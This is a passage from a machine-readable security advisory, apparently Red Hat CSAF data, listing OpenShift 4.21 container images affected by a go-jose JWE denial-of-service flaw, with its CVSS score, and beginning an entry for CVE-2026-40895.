"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:f6ddc9d891309a979c07a9d2462fcaa62af6912a1cbb8f986e678c79b29d7b2e_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:6a4410c46718fe6010fad0d6c6b578a2347e61c687da6fa8e6f9220c18085c38_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:cb1bbd2c6ebdc80d0b55b9e24af9afe0e9147c0d56d4ccb2e06910c339aad92d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:4b531989cffbba08feb30500f836332f2ac5e05f67f5b0d3466344ca56844234_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:97e86b1ec0fb8c9320b643ceb46cee693d78059db2251e96ea48acbc3e8d77d4_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:b7d65cce3142f1e692c846b05a2cb737c1de760815dd003a4eb14c42bc381684_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:ce8035f8ddf2521152896e41e088e5f69ccb62db3ca6f3bff461b1fcfd002e66_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:1fa798e8929bf9ca5a0248df695a7bd9e4a9800fa3a49aa6c711f5460452303b_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:25649934df8b81bb967c2714cd0151acf22a59f0e1ba25f0f564803cf86a2c53_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:37e366676577cd3c67828c64542540ddbf1bd3866538841a844a34096ad4bc97_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:6d23762eeb123e9150385fd77695841aa2fbc22e0eafd5ccbd31b17b31d043ee_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:214a54e1cdab555aca4d89ba2ae3dd825cca158cb1d74271d1a21c5d385647d4_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:51cbcaa1d10ded9608c0b17dcb99d77786586edf4a5db92e8205075129ec6318_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9dc9ccd011217972cef70a48af37278716c9ce47ed6d0a5d8686a3ac607c0a64_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:eda11e652e4e330f3cdd881504b4886fec1c7efb74be88252e3ac906a5964044_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:2cfba758f3448568e6f844a2c380de62c2d84d2d21c7033a91bab994994fb28d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:62b9725f0852dfa627d030aee5dd8b3259e84a6f0087d3c970a08361b85ecc01_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:adb184389c661980ee1274a3eddf64221101465bc12c83895f981721508f18c3_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:dbf3bf45e958c3e521cd2f1965ed1f6eed1edc7ad1b2ce22be9930d9fdddf21f_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:5c543b465d9c53c8f34458a00e7f74586d91333301770e21054ce7120fa0e8a1_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:a1602d42232b96a0a9ce2f8cf5a809e80e9a9f4752c6845342af7dbb94729070_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:d9cda770f446e132541a740719fda07af700f1ce372a608bde61fb84e42afa2d_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:f680ee32b9ead50a2b09c43405f3e20763b99025ac3f2a186bf6aa56d41425c5_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:1bed594d53537de5cec4d21ec152a8cf769cbcc4a300c233331e79b62d2cfe31_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:6a1c00c60c999234bd4ccd8131ba9ea9d6875bdfb889dccf8db5948d41238110_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:a0192fc0b5ece7d29fe95bd1bcca4cfb98c3540fc0c7a365da6a0ddce097fa41_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:d3ee62e979e6dbfbb846eb60a52d8fa95bfa59a42ccca5cba925d2380c7f96b4_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-vsphere-problem-detector-rhel9@sha256:4117dc54a8f501a6bc579b22cc8ad5ad0360ba54bbe8c8453d11dbdac480f4f7_amd64"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:061015f468b484041f552ddb246024c4b1475aba2be6b5ed529fdb5a1f2e323f_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:b96ddf35d0e8a292d986e81420c93aa885fc455fcaf616a915491095b0caec0e_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:e21d39916b8a2d702c5adc1bcda18c7b6ddd3a9cfc09864e82c0cdf5188b301b_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:f31992f179936b6b55311d2c673b09ed29a27baa8a28ece8859d6d04d09ad81e_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:989ff868950ddcfb8dbc15092118c85476be437177b29016e3d6e148c5523334_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:b560fc8b23c8d1a7e362ffe84a26413cf5c5be7bae673052f035319f0e76b188_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:f1cfd18b9ae0ca40e40e0f941ae8d3215dbe7ba51e2bbd32310017e70eccffa5_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:f2031994576d4640f55cf0febf09b4f03ba9eaeaf433c1266a636a1fe2357de7_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:323728d967c18ee9d1c2aa15b1847d0d27cfeb23f75a5f9fa25ae469f35319cf_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:4b96564bdb684813b8fdc7f0257f5586bd3f2f15fa53afaa3a3139beaee71617_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:aa9d5a87e03a61bb8cffaf75b1ee9db23fd6232bc594e1b1152e796083778edd_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:ec6e3caaad9567c2c0e423880f2e7b15f45c8596ee792b784f7fcca05ea28f66_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:6bdbe43aebe603002314b78857288bfb37f5bf8cae3a96d0e6b378b53a277312_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:938e55ebf1d2297f018f1d67c0105d874c524fdbeb587b7f4901b06ca2e3be34_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:99158d48956d3c0ab7d7199136b2c342c49daba19a91d2755ef6ea42c3e23bc0_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:9eb40419d902bbcfac7032918098adc7e91db26ebd9a1ecdf294626352d5c4a0_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:14d3506a84c56ce94db20e3ed1763deb9f72d0febc1a7bb2c8c8c6edfb30c9cd_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:08681a7e9dae6792a5897594769beaf151bf52e489378a133886313f8dac398f_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3fac643abb746b79b89a49fb5d762adac833e3265b83a832cedb3c7254ab6518_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:bd26beeab9ce22eab5cde362ac3610fb83c24d5525075363c50131e8000eb5e8_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:d0095c609b0c0dc6be36865e426e6c97c1793e282ccb150daf5eaea326cc03db_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:387e994a39948184388421bc4e2bfdfd604ebb18b0e3fbb209b256ac03cc944f_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:865891f674c073eb479be00ea69d4a24546dea11bf1e123b3358dc0dad2836c6_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:5d815836e31186ee2438933286395b35c6043986a1c55496f6314dc0aa796ccb_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:677b973d8853977b513318ec5acc866a8ff7adbc6c27f02e3f2b3de946104d57_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:98c8e94df91ff429ac6b104ac3fbd345273f0bcdcd929f2e38bc64aac6c2b1fd_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:af29610cf522f1952006878a267b7bc8c624b0ba975da5bbf8c3b84c23c72d98_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:14b84478be017b16f2c699ab6248450a9f8862313fc4ef38c23b5ae7bbbd27c5_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:155201b7a38a18f69000651e3b0ecdcb19815fb0bfe2f7971b7b49b7a626ac5c_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:9628fc8b3effe793a58cc83f47d8260cbfede603bdbaabd5f4fa78c410f77d57_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:f879e563271c2bf9c4897a5011e6d153fee9085b93cd1dff3d6ae1ce78db1fca_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:09c3b1dab5e555137dccb0a932b329f64067caf6e3706843b7268d6083ef0854_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5786d42ae90f710ca41c9cb0dc318fd7a3c40c8a49c922ad5c57fe98d15deb03_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5e9e2ec5df31d1d37c3faba01952b21b974a3dce50a6bba6b35dd450d1f75fd7_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e082034afc446c8bb29c7aeac67ded281d931695af8f9dae1fd03ef5c4342252_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:9ce038b5fb35619ac1d518bb904d973a87e54a030bf3350f653d84095d701fea_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:c25cf4db4e05f4759b45b7b46d551396627f6c8b72c62168ad1d9d560f016e1b_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:c8945cfb5c06ce3c0a6b0af2ee6c833a14c2a51c05901a8f18aec232e1705567_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:e3be367267b6667ac1429e9f8dd26835aefa03b22a1dad51a8116ac41ee91e84_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:3c78e7b587d9a96d61d64c1a6a09340978d2a075cc34019e45763a7f94d3c7bb_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:4ae1938d0303894656d6d0aa0923fe88785632ee55e0ed46553a54ace495cd10_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:664d9b418f753e8cdbafb0d22f97bb8c0b2097b4d749ea87bf340cc4cb732b09_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:6e4184f47fcf6e187f4c7fac3f1058d575235ca8ec8a118434526ae4a90a9ac8_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:0bab4308f7c309a814f712e39607196d35b40db9dd4616a5d9cca862dd9bebc6_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1ff44c8741a46e16c5511cb5d4fea1706578ff9aa4115481b018b145d1e90aca_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:366ab14ae5460ad0052c556eb30665873a0eb5e164674b56292dd8af70d74807_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:75daf2f2d96d1122e7f6b8fcab558c5d147d812e418107c0b2c16d1b80aa8c59_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:1709dde712ec24c1f771a0bbdf70a2fe298b911c8528a2dc9eef2ab258d36788_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:3b3ef5d55fb3f63ca291717035f5e076b2bd14921d58be0abd399f590be69de0_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:6138073a9b3c5f26146fdacc429b1be38555c25f9cb0934fdfedeedd962e514c_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:c14387a983d59f6c8a62e6591e162019c46902bd4bddf922d03e7bcfd16f7c9c_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:0aa5ce159112edf887a68bac028b860f0087344bae6773c0707421fe94efbf83_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:13b892be223845edeedb6df843edc3c84539c0f7b5849cfbdf1431e891f4d387_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:3eb2cd4352f5f3110a6234c599e8ed2e1f028505294043513d8fda46cb30f511_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:936b7bc4d391f06895399ee89aa43b02316e79cf8436fab198c0e485165ff92c_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:591d0e9a58fbb78cc9bd3a5d2794f4947d1277e2b7ff856ff26c92a15b54ef5d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:93b12271a9cbb5386c49bde23a4fd0c418410ade915b89501b67976638f1b394_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:8106794a91fc7f08da90c997df3f00b9044782e81b6cda20580b17367588df15_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:f6ddc9d891309a979c07a9d2462fcaa62af6912a1cbb8f986e678c79b29d7b2e_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:6a4410c46718fe6010fad0d6c6b578a2347e61c687da6fa8e6f9220c18085c38_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:cb1bbd2c6ebdc80d0b55b9e24af9afe0e9147c0d56d4ccb2e06910c339aad92d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:4b531989cffbba08feb30500f836332f2ac5e05f67f5b0d3466344ca56844234_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:97e86b1ec0fb8c9320b643ceb46cee693d78059db2251e96ea48acbc3e8d77d4_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:b7d65cce3142f1e692c846b05a2cb737c1de760815dd003a4eb14c42bc381684_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:ce8035f8ddf2521152896e41e088e5f69ccb62db3ca6f3bff461b1fcfd002e66_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:1fa798e8929bf9ca5a0248df695a7bd9e4a9800fa3a49aa6c711f5460452303b_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:25649934df8b81bb967c2714cd0151acf22a59f0e1ba25f0f564803cf86a2c53_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:37e366676577cd3c67828c64542540ddbf1bd3866538841a844a34096ad4bc97_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:6d23762eeb123e9150385fd77695841aa2fbc22e0eafd5ccbd31b17b31d043ee_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:214a54e1cdab555aca4d89ba2ae3dd825cca158cb1d74271d1a21c5d385647d4_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:51cbcaa1d10ded9608c0b17dcb99d77786586edf4a5db92e8205075129ec6318_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9dc9ccd011217972cef70a48af37278716c9ce47ed6d0a5d8686a3ac607c0a64_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:eda11e652e4e330f3cdd881504b4886fec1c7efb74be88252e3ac906a5964044_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:2cfba758f3448568e6f844a2c380de62c2d84d2d21c7033a91bab994994fb28d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:62b9725f0852dfa627d030aee5dd8b3259e84a6f0087d3c970a08361b85ecc01_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:adb184389c661980ee1274a3eddf64221101465bc12c83895f981721508f18c3_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:dbf3bf45e958c3e521cd2f1965ed1f6eed1edc7ad1b2ce22be9930d9fdddf21f_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:5c543b465d9c53c8f34458a00e7f74586d91333301770e21054ce7120fa0e8a1_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:a1602d42232b96a0a9ce2f8cf5a809e80e9a9f4752c6845342af7dbb94729070_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:d9cda770f446e132541a740719fda07af700f1ce372a608bde61fb84e42afa2d_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:f680ee32b9ead50a2b09c43405f3e20763b99025ac3f2a186bf6aa56d41425c5_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:1bed594d53537de5cec4d21ec152a8cf769cbcc4a300c233331e79b62d2cfe31_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:6a1c00c60c999234bd4ccd8131ba9ea9d6875bdfb889dccf8db5948d41238110_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:a0192fc0b5ece7d29fe95bd1bcca4cfb98c3540fc0c7a365da6a0ddce097fa41_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:d3ee62e979e6dbfbb846eb60a52d8fa95bfa59a42ccca5cba925d2380c7f96b4_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-vsphere-problem-detector-rhel9@sha256:4117dc54a8f501a6bc579b22cc8ad5ad0360ba54bbe8c8453d11dbdac480f4f7_amd64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "github.com/go-jose/go-jose/v3: github.com/go-jose/go-jose/v4: Go JOSE: Denial of Service via crafted JSON Web Encryption (JWE) object"
},
{
"cve": "CVE-2026-40895",
"cwe": {
"id": "CWE-212",
"name": "Improper Removal of Sensitive Information Before Storage or Transfer"
},
"discovery_date": "2026-04-21T21:02:33.280553+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:061015f468b484041f552ddb246024c4b1475aba2be6b5ed529fdb5a1f2e323f_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:b96ddf35d0e8a292d986e81420c93aa885fc455fcaf616a915491095b0caec0e_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:e21d39916b8a2d702c5adc1bcda18c7b6ddd3a9cfc09864e82c0cdf5188b301b_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:f31992f179936b6b55311d2c673b09ed29a27baa8a28ece8859d6d04d09ad81e_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:989ff868950ddcfb8dbc15092118c85476be437177b29016e3d6e148c5523334_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:b560fc8b23c8d1a7e362ffe84a26413cf5c5be7bae673052f035319f0e76b188_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:f1cfd18b9ae0ca40e40e0f941ae8d3215dbe7ba51e2bbd32310017e70eccffa5_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:f2031994576d4640f55cf0febf09b4f03ba9eaeaf433c1266a636a1fe2357de7_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:323728d967c18ee9d1c2aa15b1847d0d27cfeb23f75a5f9fa25ae469f35319cf_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:4b96564bdb684813b8fdc7f0257f5586bd3f2f15fa53afaa3a3139beaee71617_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:aa9d5a87e03a61bb8cffaf75b1ee9db23fd6232bc594e1b1152e796083778edd_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:ec6e3caaad9567c2c0e423880f2e7b15f45c8596ee792b784f7fcca05ea28f66_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:6bdbe43aebe603002314b78857288bfb37f5bf8cae3a96d0e6b378b53a277312_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:938e55ebf1d2297f018f1d67c0105d874c524fdbeb587b7f4901b06ca2e3be34_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:99158d48956d3c0ab7d7199136b2c342c49daba19a91d2755ef6ea42c3e23bc0_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:9eb40419d902bbcfac7032918098adc7e91db26ebd9a1ecdf294626352d5c4a0_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:14d3506a84c56ce94db20e3ed1763deb9f72d0febc1a7bb2c8c8c6edfb30c9cd_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:08681a7e9dae6792a5897594769beaf151bf52e489378a133886313f8dac398f_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3fac643abb746b79b89a49fb5d762adac833e3265b83a832cedb3c7254ab6518_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:bd26beeab9ce22eab5cde362ac3610fb83c24d5525075363c50131e8000eb5e8_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:d0095c609b0c0dc6be36865e426e6c97c1793e282ccb150daf5eaea326cc03db_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:387e994a39948184388421bc4e2bfdfd604ebb18b0e3fbb209b256ac03cc944f_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:865891f674c073eb479be00ea69d4a24546dea11bf1e123b3358dc0dad2836c6_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:5d815836e31186ee2438933286395b35c6043986a1c55496f6314dc0aa796ccb_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:677b973d8853977b513318ec5acc866a8ff7adbc6c27f02e3f2b3de946104d57_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:98c8e94df91ff429ac6b104ac3fbd345273f0bcdcd929f2e38bc64aac6c2b1fd_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:af29610cf522f1952006878a267b7bc8c624b0ba975da5bbf8c3b84c23c72d98_s390x",
